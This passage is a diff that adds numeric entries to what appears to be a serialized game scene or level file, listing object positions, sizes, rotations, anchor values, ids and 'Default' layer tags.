+ 0,
+ []
+ ],
+ 366,
+ 959,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 1935,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 960,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 985,
+ 1712,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 961,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 1916,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 962,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 69,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 965,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -772,
+ 91,
+ 0,
+ 25,
+ 226,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 966,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -528,
+ 85,
+ 0,
+ 26,
+ 218,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 967,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 57,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 968,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -669,
+ 73,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 969,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -627,
+ 73,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 970,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 971,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6024,
+ 1004,
+ 0,
+ 716,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 1098,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6193,
+ 1275,
+ 0,
+ 1058,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 1099,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -945,
+ 1538,
+ 0,
+ 212.0303955078125,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 1119,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -170,
+ 1625,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 894,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -319,
+ 1646,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 896,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1238,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1239,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6148.080078125,
+ 496.1255493164063,
+ 0,
+ 194,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 408,
+ 1240,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 395,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 488,
+ 742,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 491,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 489,
+ 743,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 587,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 490,
+ 744,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 683,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 491,
+ 747,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1579.5205078125,
+ 708.4993286132812,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 750,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 615,
+ 660,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 759,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1278,
+ 1724,
+ 0,
+ 91.7906494140625,
+ 48,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 883,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1275,
+ 1637,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 892,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1674,
+ 1662,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 986,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5299,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1087,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5300,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1088,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5301,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5375,
+ 837,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5376,
+ 759,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5377,
+ 680,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1092,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -427,
+ 1256,
+ 0,
+ 157,
+ 21,
+ 0,
+ -0.574984073638916,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1101,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -673,
+ 1671,
+ 0,
+ 295.8233947753906,
+ 21,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1102,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1102,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1131,
+ 1639,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 893,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -167,
+ 780,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 767,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1653.94970703125,
+ 584.4502563476562,
+ 0,
+ 144,
+ 93,
+ 0,
+ -1.50925874710083,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 880,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2212.47314453125,
+ 658.8027954101562,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 932,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4083.99267578125,
+ 816.4261474609375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186.09765625,
+ 714.3235473632812,
+ 0,
+ 144,
+ 93,
+ 0,
+ 1.877838969230652,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 1001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5296.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1009,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5297.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1012,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5298.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1013,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5372.4765625,
+ 1072.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1016,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5373.4765625,
+ 994.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1017,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5374.4765625,
+ 915.587646484375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 744.830810546875,
+ 664.340087890625,
+ 0,
+ 150.1151123046875,
+ 142.4561767578125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 541,
+ 1027,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 1,
+ 10,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 0
+ ],
+ [
+ 1
+ ],
+ [
+ 200,
+ 1500,
+ 1500,
+ 650,
+ 1500,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865.019775390625,
+ 452.2771606445313,
+ 0,
+ 140,
+ 138,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 386,
+ 1028,
+ [],
+ [
+ [
+ 0,
+ 2,
+ 0,
+ 0.5,
+ 1,
+ 0,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865.019775390625,
+ 451.2771606445313,
+ 0,
+ 121.3048629760742,
+ 121.3048629760742,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 403,
+ 1029,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2370.568603515625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399.388916015625,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1057,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2429.44580078125,
+ 673.9760131835938,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1058,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 944.686767578125,
+ 441.5370483398438,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1059,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 974.686767578125,
+ 441.5370483398438,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4631,
+ 667,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1005,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5052,
+ 667,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1007,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4847,
+ 794,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1008,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.47314453125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1030,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718.175048828125,
+ 530.917724609375,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 588,
+ 355,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 1061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12126159667969,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 741,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212615966797,
+ 873.7174072265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 748,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 753,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 873.9495849609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 754,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.12124633789063,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 755,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1212463378906,
+ 968.417724609375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 756,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7082977294922,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 757,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7083129882813,
+ 968.64990234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 760,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 763,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 494.8583374023438,
+ 1063.306518554688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 764,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 586.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 769,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 678.4453735351562,
+ 1063.538696289063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 770,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 35.17764282226563,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 771,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 127.1776275634766,
+ 1062.955322265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 772,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 218.7646636962891,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 310.7646789550781,
+ 1063.1875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 805,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 770.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 809,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 862.4392700195312,
+ 1064.014892578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 810,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954.0263061523438,
+ 1064.2470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 814,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1046.026245117188,
